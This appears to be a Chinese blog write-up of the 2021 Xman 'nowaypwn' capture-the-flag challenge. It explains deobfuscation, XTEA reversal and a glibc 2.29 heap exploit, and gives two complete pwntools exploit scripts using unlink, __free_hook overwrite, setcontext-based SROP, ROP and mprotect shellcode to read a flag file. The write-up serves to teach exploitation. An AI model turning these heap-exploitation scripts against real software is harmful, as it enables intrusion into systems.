2021 Xman 排位赛 pwn nowaypwn_yongibaoi-程序员宅基地

技术标签: CTF  

学了不少东西。

在这里插入图片描述

在这里插入图片描述刚开始IDA反编译程序只有这么一点,一共三个函数。
看了看之后很快发现了不对。

在这里插入图片描述旁边显然有一堆函数没有用到。

main函数下面显然也有一堆飘红。
在这里插入图片描述所以肯定作者做了混淆,那怎么改回来?

我们找到一处飘红。用这个来举例。
在这里插入图片描述显然因为retn,后面的程序没法用了。

那我们尝试把retn给nop掉。
在这里插入图片描述然后找到这个函数

在这里插入图片描述
其实这是里面那个加密函数
可以先看看加密函数现在的样子。
在这里插入图片描述然后我们继续跑到这个函数这里,按U转换为未定义。
在这里插入图片描述
再按C转换为代码。

在这里插入图片描述
最后在这里分析函数。按P
最后你跑到这个函数,会发现变成了这个样子
在这里插入图片描述这才是函数本来的样子。

其他地方也是相同的做法,在main函数后面还有一个这样的混淆。
一会在首位函数也有一个这样的东西。

所以我们看看我们nop好之后的程序原原本本什么样子。

main
在这里插入图片描述
主程序下面多了一个菜单堆。

在这里插入图片描述
c54函数是开了沙箱。
下面要求我们输入正确的秘密才能跳出循环。

我们去看判断条件。
在这里插入图片描述输入的进行加密,要求前八个字节长这样。

加密算法就是我们刚刚实例,反混淆回来的。
在这里插入图片描述最后研究半天,官方说是tea加密,但是我感觉是xtea。

分开来看。
tea加密。
以为很难,但是说来很简单。
内容8字节一组,密钥16字节一组。

加密算法

#include<stdio.h>
void encode(unsigned int* v,unsigned int *k)
{
    
    unsigned int l=v[0],r=v[1];
    unsigned int k0=k[0],k1=k[1],k2=k[2],k3=k[3];
    unsigned int delta=0x9e3779b9;
    int i;
    unsigned int sum=0;
    for(i=0;i<32;i++)          //核心加密算法,建议32轮,最低16轮
    {
    
        sum+=delta;
        l+=((r<<4)+k0)^(r+sum)^((r>>5)+k1);     //r<<4/r*16
        r+=((l<<4)+k2)^(l+sum)^((l>>5)+k3);
    }
    v[0]=l;
    v[1]=r;
}
int main()
{
    
    unsigned int a[2]={
    1,2}; //明文,必须是8字节的倍数,不够需要程序补全,参考base64方法
    unsigned int k[4]={
    2,2,3,4};//密钥随便
    encode(a,k);
    printf("%d %d",a[0],a[1]);
}

就是根据一个delta值,每四个一组,然后循环起来。

解密算法就是直接倒过来就可以了。

  uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  //由加密轮数而算出
    uint32_t delta=0x9e3779b9;                     
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; 
    for (i=0; i<32; i++) {
                                        //核心解密算法
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                           
    v[0]=v0; v[1]=v1;

xtea是tea的升级版,增加了更多的密钥表,移位和异或操作等等

#include <stdio.h>
#include <stdint.h>
 
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
 
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
    for (i=0; i < num_rounds; i++) {
    
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
    }
    v[0]=v0; v[1]=v1;
}
 
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
    for (i=0; i < num_rounds; i++) {
    
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0]=v0; v[1]=v1;
}
 
int main()
{
    
    uint32_t v[2]={
    1,2};
    uint32_t const k[4]={
    2,2,3,4};
    unsigned int r=32;//num_rounds建议取值为32
    // v为要加密的数据是两个32位无符号整数
    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
    printf("加密前原始数据:%u %u\n",v[0],v[1]);
    encipher(r, v, k);
    printf("加密后的数据:%u %u\n",v[0],v[1]);
    decipher(r, v, k);
    printf("解密后的数据:%u %u\n",v[0],v[1]);
    return 0;
}

当然还有xxtea,就不谈了。

所以我们很明显发现,程序长的明明跟xtea最像。

当然我们看程序是减去一个delta,转换过来发现还是标准的xtea的delta值
在这里插入图片描述
所以程序就是一个32轮的标准xtea,换一下delta值,再来16轮。

怎么倒回来解密呢?就把程序加变减,顺序缓缓就好了。

#include <iostream>

/* run this program using the console pauser or add your own getch, system("pause") or input loop */

int main(int argc, char** argv) {
    
  unsigned int a1[2];  
  int i; // [rsp+14h] [rbp-3Ch]
  int j; // [rsp+14h] [rbp-3Ch]
  unsigned int v4; // [rsp+18h] [rbp-38h]
  unsigned int v5; // [rsp+18h] [rbp-38h]
  unsigned int v6; // [rsp+1Ch] [rbp-34h]
  unsigned int v7; // [rsp+1Ch] [rbp-34h]
  unsigned int v8; // [rsp+20h] [rbp-30h]
  unsigned int v9; // [rsp+20h] [rbp-30h]
  unsigned int v10; // [rsp+24h] [rbp-2Ch]
  unsigned int v11; // [rsp+28h] [rbp-28h]
  int v12[6]; // [rsp+30h] [rbp-20h]
  unsigned __int64 v13; // [rsp+48h] [rbp-8h]
  a1[0]=0x105d191e;
  //a1[0]=2587752597;
  a1[1]=0x98e870c8;
  //a1[1]=2997038967;
  v10 = *a1;
  v11 = a1[1];
  v12[0] = 674697780;
  v12[1] = 422065475;
  v12[2] = 423118625;
  v12[3] = -1741216238;
  v4 = *a1;
  v6 = a1[1];
  v8 = 3337565984;
  for ( i = 0; i <= 31; ++i )
  {
    
   v6 -= (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v12[(v8 >> 11) & 3] + v8);
    v8 += 1640531527;
    v4 -= (((v6 >> 5) ^ (16 * v6)) + v6) ^ (v12[v8 & 3] + v8);
  }
  *a1 = v4;
  a1[1] = v6;
  v5 = v10;
  v7 = v11;
  v9 = 1559835033;
  for ( j = 0; j <= 16; ++j )
  {
    
   v7 -= (((v5 >> 5) ^ (16 * v5)) + v5) ^ (v12[(v9 >> 11) & 3] + v9);
    v9 -= 344400137;
    v5 -= (((v7 >> 5) ^ (16 * v7)) + v7) ^ (v12[v9 & 3] + v9);
  }
  *a1 = v5;
  a1[1] = v7;
  printf("%x %x",a1[0],a1[1]);
}

在这里插入图片描述
因为是小端序,所以我们四个字节一组,一个字节一个字节倒过来,发现了secret是useless!

在这里插入图片描述
敲了回车没反应,就对了,因为下面菜单部分没有输出的。

至此就完成了题目的前面一小部分。
下面去看堆题。

首先说开了沙箱,看看白名单。
在这里插入图片描述
就ban了execve。

功能4是add
在这里插入图片描述最多17个chunk,大小不能超过0x200,地址都在bss上。

功能3是delete
在这里插入图片描述放置了double free 跟uaf。

功能1是edit
在这里插入图片描述有个莫名其妙的E2D函数。
在这里插入图片描述他就是一直循环,直到碰到0跟0x11,碰到0x11就把他变成0.

所以会造成一个off by null的漏洞。

功能2是show
在这里插入图片描述show函数只输出八个字节,而且是分开的,我们看一下那个函数。

在这里插入图片描述是个方程,还循环了两次。
解方程我们还得用到z3.

然后我就发现,这个题目剩下的堆的部分跟强网杯的那道babypwn一摸一样,漏洞也好,这个方程也好,长得一摸一样……
2021强网杯 pwn babypwn

可以去看看,z3的用法也在里面。
exp稍微改改就好了。

但是呢,这道题当时是没给libc的,估计他用的是2.27,但是本着学习的态度,想着用libc2.29来做一下。
为啥要用2.29呢,首先我们总结一下那道强网杯2.27的两种做法。

第一种是unlink,申请三个chunk,第一个chunk伪造,第二个chunk来free。
在堆里面做unlink,来造成tcache posining。
第二种就是我们的house of ein。通过overlap,来泄露libc,再攻击free_hook啥的。

2.29之后,首先unlink多了一条检查。
在这里插入图片描述这导致我们的house of ein直接消失,所以我们只能用unlink去做。

第二个问题是啥
2.29之后,setcontext从rdi寻址改成了rdx寻址,这导致我们对setcontext的利用需要做出一定的改变。

当然2.29之后还会有细微的改变,说白了就是从setcontext + 53变成了setcontext + 61.

我们现在来看一下在2.29的环境下怎么去利用setcontext。

首先看一下setcontext在2.29下面长这样
是rdx寻址,我们在2.27中,因为是rdi寻址,所以直接payload写在要free的chunk,然后free过去先执行free_hook的setcontext,因为rdi指向chunk,直接就可以控制,但是2.29的rdx就不好使了。

所以我们解决的方法是找一个合适的gadget来解决这个问题。
我们在free_hook的地方放上这个gadget

mov rdx, qword ptr [rdi + 8]; 
mov qword ptr [rsp], rax; 
call qword ptr [rdx + 0x20];

然后在要free的 [chunkptr+8]+0x20 的位置填上 setcontext+53。

这个gadget通过

ropper --file libc.so.6 --search “mov rdx”

来找
在这里插入图片描述插一句这个ropper的安装装我老半天,网上的教程个个不靠谱。然后我就简单的现身说法。
Ubuntu ropper的安装与使用

那我们回来说用这个gadget达到了一个什么效果。
我们free一个chunk,在这个chunk+8的地方事先写个地址,这个地址+0x20的地方放着setcontext + 53的地址,然后先走free_hook,rdx变成chunk+8的地址,然后call rdx+0x20,也就是我们的setcontext,最后根据rdx,做一个SROP。当然需要始先把SROP的东西写好。

要额外插一句,这个setcontext是干嘛的,我们还记得SROP,在sigreturn返回的时候,我们调用了系统调用,就会跑一段程序,那一段程序就是这个setcontext,所以我们的这个方法又叫堆srop。

那么所以我们写exp的时候其实可以用pwntools的srop模板。
强网杯那道没用,当时还没反应过来可以用……

在我们利用堆SROP的过程中,其实也可以有很多姿势。
我们可以用传统的orw。
但是可以看到这个题目其实在沙箱上面只ban了execve,而不是只允许用orw,所以还可以给出一种布置shellcode的写法。

首先是传统的orw。
通过堆SROP,读入rop,然后跳过去执行。
exp

# -*- coding: utf-8 -*-
from pwn import *
from z3 import*

context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"

p = process("./nowaypwn")

elf = ELF("./nowaypwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.29-0ubuntu2_amd64/libc.so.6")

def add(size):
    p.sendline('4')
    sleep(0.1)
    p.sendline(str(size))
    sleep(0.1)
    
def edit(idx,content):
    p.sendline('1')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)
    p.send(content)
    sleep(0.1)

def dele(idx):
    p.sendline('3')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)	

def show(idx):
    p.sendline('2')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)

def decrypt(target):
    a = BitVec('a', 32)
    x = a
    for _ in range(2):
            x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
    s = Solver()
    s.add(x == target)
    if s.check() == sat:
        return (s.model()[a].as_long())

p.sendlineafter("Give me your name:\n", "Yongibaoi")
p.sendlineafter("Give me your key:", "Yongibaoi")
p.sendlineafter("Input your secret!:", "useless!")
sleep(0.1)


add(0xf0)#0
add(0xf0)#1
add(0xf0)#2
dele(1)
dele(0)
add(0xf0)#0
show(0)

p.recv() #非常纳闷,调了一天 发现这里必须有个recv。桌子都快砸碎了。

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
heap_addr = (a2 << 32) + a1 -0xda0
print "heap_addr = " + hex(heap_addr)

add(0xf0) #1
add(0xf0) #3
add(0xf0) #4
add(0xf0) #5
add(0xf0) #6
add(0x108)#7
add(0x108)#8
add(0x20) #9

for i in range(7):
    dele(i)

heap = heap_addr + 0xd70
edit(7,'a'*0x108)
edit(7, (p64(heap+0x628)+p64(heap+0x630)+p64(heap+0x620)).ljust(0x100,'\x00')+p64(0x110))
edit(8,'\x00'*0xf0+p64(0)+p64(0x41)+'\n')

dele(8)
show(7)

#p.recv() 这里又不用加…… 人麻了

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
malloc_hook = (((a2 << 32) + a1 -0x30) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext']
print "libc_base = " + hex(libc_base)


for i in range(8):
    add(0xf0)

dele(1)
dele(7)
dele(2)

magic_gadget = libc_base + 0x150550
bss_addr = libc_base + libc.bss()
flag_addr = bss_addr + 0x200

frame = SigreturnFrame()
frame.rsp = bss_addr + 0x8
frame.rdi = 0
frame.rsi = bss_addr
frame.rdx = 0x1000
frame.rip = libc_base + libc.sym['read']

str_frame = str(frame)
print str_frame
print len(str_frame)

pop_rdi = libc_base + 0x26542
pop_rdx_rsi = libc_base + 0x12bdc9
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
open_addr = libc_base + libc.sym['open']
pop_rax = libc_base + 0x47cf8
syscall_addr = libc_base + libc.sym['syscall'] + 23
#这里如果直接用syscall会被前面那一堆乱七八糟把参数改掉,所以要直接用syscall

poc = './flag\x00\x00'

poc += p64(pop_rdi)
poc += p64(bss_addr)
poc += p64(pop_rdx_rsi)
poc += p64(0)
poc += p64(0)
poc += p64(pop_rax)
poc += p64(constants.SYS_open)
poc += p64(syscall_addr)

poc += p64(pop_rdi)
poc += p64(0x3)
poc += p64(pop_rdx_rsi)
poc += p64(0x100)
poc += p64(flag_addr)
poc += p64(read_addr)

poc += p64(pop_rdi)
poc += p64(1)
poc += p64(pop_rdx_rsi)
poc += p64(100)
poc += p64(flag_addr)
poc += p64(write_addr)


edit(8,p64(free_hook)+'\n')
add(0xf0) #1
edit(1, p64(setcontext + 53)  + p64(heap_addr + 0x1080) + str_frame[0x30:] + '\n')
add(0xf0) #2
add(0xf0)#7 free hook
edit(7,p64(magic_gadget)+'\n')

dele(1)

p.sendline(poc)

p.interactive()

下面的是shellcode。
他是通过srop,将free_hook所在的那一页,权限改成rwx。
然后通过shellcode1读入一段更长的shellcode2,然后跳过去执行。
exp

# -*- coding: utf-8 -*-
from pwn import *
from z3 import*

context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"

p = process("./nowaypwn")

elf = ELF("./nowaypwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.29-0ubuntu2_amd64/libc.so.6")

def add(size):
    p.sendline('4')
    sleep(0.1)
    p.sendline(str(size))
    sleep(0.1)
    
def edit(idx,content):
    p.sendline('1')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)
    p.send(content)
    sleep(0.1)

def dele(idx):
    p.sendline('3')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)	

def show(idx):
    p.sendline('2')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)

def decrypt(target):
    a = BitVec('a', 32)
    x = a
    for _ in range(2):
            x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
    s = Solver()
    s.add(x == target)
    if s.check() == sat:
        return (s.model()[a].as_long())

p.sendlineafter("Give me your name:\n", "Yongibaoi")
p.sendlineafter("Give me your key:", "Yongibaoi")
p.sendlineafter("Input your secret!:", "useless!")
sleep(0.1)


add(0xf0)#0
add(0xf0)#1
add(0xf0)#2
dele(1)
dele(0)
add(0xf0)#0
show(0)

p.recv() #非常纳闷,调了一天 发现这里必须有个recv。桌子都快砸碎了。

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
heap_addr = (a2 << 32) + a1 -0xda0
print "heap_addr = " + hex(heap_addr)

add(0xf0) #1
add(0xf0) #3
add(0xf0) #4
add(0xf0) #5
add(0xf0) #6
add(0x108)#7
add(0x108)#8
add(0x20) #9

for i in range(7):
    dele(i)

heap = heap_addr + 0xd70
edit(7,'a'*0x108)
edit(7, (p64(heap+0x628)+p64(heap+0x630)+p64(heap+0x620)).ljust(0x100,'\x00')+p64(0x110))
edit(8,'\x00'*0xf0+p64(0)+p64(0x41)+'\n')

dele(8)
show(7)

#p.recv() 这里又不用加…… 人麻了

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
malloc_hook = (((a2 << 32) + a1 -0x30) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext']
print "libc_base = " + hex(libc_base)


for i in range(8):
    add(0xf0)

dele(1)
dele(7)
dele(2)

#-------------------堆SROP--------------------
magic_gadget = libc_base + 0x150550

new_addr =  free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
    xor rdi,rdi
    mov rsi,%d
    mov edx,0x1000

    mov eax,0
    syscall

    jmp rsi
    ''' % new_addr

frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_base + libc.sym['mprotect']

shellcode2 = '''
    mov rax, 0x67616c662f2e ;// ./flag
    push rax

    mov rdi, rsp ;// /flag
    mov rsi, 0 ;// O_RDONLY
    xor rdx, rdx ;
    mov rax, 2 ;// SYS_open
    syscall

    mov rdi, rax ;// fd 
    mov rsi,rsp  ;
    mov rdx, 1024 ;// nbytes
    mov rax,0 ;// SYS_read
    syscall

    mov rdi, 1 ;// fd 
    mov rsi, rsp ;// buf
    mov rdx, rax ;// count 
    mov rax, 1 ;// SYS_write
    syscall

    mov rdi, 0 ;// error_code
    mov rax, 60
    syscall
    '''

str_frame = str(frame)
print str_frame
print len(str_frame)
#---------------------------准备完毕---------------------------------

edit(8,p64(free_hook)+'\n')
add(0xf0) #1
edit(1, p64(setcontext + 53)  + p64(heap_addr + 0x1080) + str_frame[0x30:] + '\n')
add(0xf0) #2
add(0xf0)#7 free hook
edit(7,p64(magic_gadget)+p64(free_hook+0x18)*2+asm(shellcode1)+'\n')


dele(1)

p.sendline(asm(shellcode2))

p.interactive()
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/yongbaoii/article/details/119607954

智能推荐

mysql怎么tonumber_orcale中的to_number方法使用-程序员宅基地

文章浏览阅读1w次。TO_NUMBER函数()是Oracle中常用的类型转换函数之一,主要是将字符串转换为数值型的格式,与TO_CHAR()函数的作用正好相反。To_number函数的格式如下:To_number(varchar2 or char,'format model')To_number函数中也有很多预定义的固定格式:格式值含义9代表一个数字0强迫0显示$显示美元符号L强制显示一个当地的货币符号.显示一个小数..._mysql to_number

Mybatis 查询传多个参数(3中方法)-程序员宅基地

文章浏览阅读76次。第一种方案DAO层的函数方法1Public User selectUser(String name,String area);对应的Mapper.xml123<select id="selectUser" resultMap="Bas..._ 查询传多个值

如何获取手机屏幕_如何实时获取手机屏幕内容-程序员宅基地

文章浏览阅读1.7k次。主要用用获取手机屏幕尺寸_如何实时获取手机屏幕内容

Servlet Response直接返回JSON数据_servlet response返回数据-程序员宅基地

文章浏览阅读1.7w次,点赞9次,收藏21次。获取打印输出流打印输出流:response.getWriter() 返回的是 PrintWriter可以通过 response.getWriter().write()和response.getWriter().print()响应数据给客户端,如果前端没有接收数据的位置,就会在浏览器上生成一个新的页面来显示内容。区别:write():仅支持输出字符类型数据,字符、字符数组、字符串等print():可以将各种类型(包括Object)的数据通过默认编码转换成bytes字节形式,这些字节都通过writ_servlet response返回数据

JAVA毕业设计Web企业差旅在线管理系统计算机源码+lw文档+系统+调试部署+数据库_基于javaweb的差旅报销系统毕业设计-程序员宅基地

文章浏览阅读98次。JAVA毕业设计Web企业差旅在线管理系统计算机源码+lw文档+系统+调试部署+数据库。springcloud基于微服务架构的小区生活服务平台的设计与实现。jsp会议管理系统的设计与实现sqlserver。ssm+sqlserver精准扶贫项目管理系统。ssm+sqlserver音乐资源分享网站。ssm基于Web的精品课程网站的设计与实现。ssm基于JavaEE的网上图书分享系统。_基于javaweb的差旅报销系统毕业设计

ERROR: The executable **/python.exe is not functioning解决方案_error: the executable g:\workspace\pythonproject\v-程序员宅基地

文章浏览阅读2.4k次。我是从3.8.3更新到3.11.4,pycharm版本是2020.1.2,所以网上说的更改文件权限、检查路径是否有中文我统统都试过了,所以我狠心直接重装新版本的2022.3.3,一顿操作过后发现能成功创建project了也不报错。将python版本更新后,使用pycharm突然无法创建虚拟环境virtualenv失败,提示路径从C:\Users\Lenovo\AppData\Local\下的什么什么到创建的路径的下的什么什么 我这里已经解决了忘记截图保存。_error: the executable g:\workspace\pythonproject\venv\scripts\python.exe is

随便推点

JavaWeb快速入门--Tomcat-程序员宅基地

文章浏览阅读593次,点赞29次,收藏9次。Tomcat 服务器是一个开源的轻量级Web应用服务器,在中小型系统和并发量小的场合下被普遍使用,是开发和调试Servlet、JSP 程序的首选。web服务器软件:首先,我们知道JavaWeb是一个典型的浏览器/服务器(B/S)架构,一般情况下,我们在进行Web开发时,不止要搭建Web的开发环境,还需要对服务器端进行响应的配置。服务器:安装了服务器软件的计算机服务器软件:用来接收和处理用户的请求,并做出响应的软件。

R 与 RStudio:安装和入门使用-程序员宅基地

文章浏览阅读181次。R 与 RStudio:安装和入门使用R 是一种强大的编程语言和环境,广泛用于数据分析和统计建模。RStudio 是一个用于 R 的集成开发环境(IDE),提供了方便的代码编写、调试和可视化工具。本文将向您介绍如何安装 R 和 RStudio,并提供一些入门使用 R 语言的示例代码。

认认真真推荐几个AI与数据方向的公众号-程序员宅基地

文章浏览阅读400次。“三人行,必有我师焉”,学习就是要从别人身上学到好的。今天特意给大家推荐10个优质公众号,目前属于活跃度非常高的几个原创公众号,涵盖了python和AI,重点是他们还坚持在原创技术免费分享的第一线!SQL数据库开发专注数据相关领域,主要分享MySQL,数据分析,Python,Excel 等相关技术内容,关注回复「1024」获取资源大礼包。点击上方名片可关注深度学习与图网络..._公众号 跟我学ai

开源消息队列:NetMQ-程序员宅基地

文章浏览阅读167次。NetMQ 是 ZeroMQ的C#移植版本。ZeroMQ是一个轻量级的消息内核,它是对标准socket接口的扩展。它提供了一种异步消息队列,多消息模式,消息过滤(订阅),对多种传输协议的无缝访问。NetMQ 也是一个社区开源项目,网站在Github上 https://github.com/zeromq/netmq, 可以通过Nuget包获取http://nuget.org/package..._netmq kafka

新修版的《天龙八部》与《射雕英雄传》-程序员宅基地

文章浏览阅读483次。&#13; 前一段时间买了几本新版金庸小说口袋本,包括变动比较大的《天龙八部》与《射雕英雄传》。《天龙八部》的改动还是比较大的。大家非常熟悉的”降龙十八掌”变成了”降龙二十八掌”,到了小说的最后,萧峰和虚竹二人将”二十八掌”精简成了”十八掌”,又绕了回来,作为铁杆金庸读者我觉得这样的变化有些画蛇添足,也不知道金庸老先生这样改的目的为何。小说中的线索也变化了很多,增加了诸如丁...

java/php/net/python 企业固定资产信息管理系统【2024年毕设】-程序员宅基地

文章浏览阅读47次。springboot基于Springbootvue的教学辅助系统设计与实现。springboot基于springboot的智能ERP管理系统。springboot基于Springboot的高校教室管理系统。springboot基于springboot的产后护理系统。springboot基于java电商后台管理系统。springboot特困生在线申报和信息服务系统。ssm基于微信小程序的汉服租赁平台的设计与实现。ssm基于vue的高校宿舍报修系统的设计与实现。springboot少数民族饰品销售系统。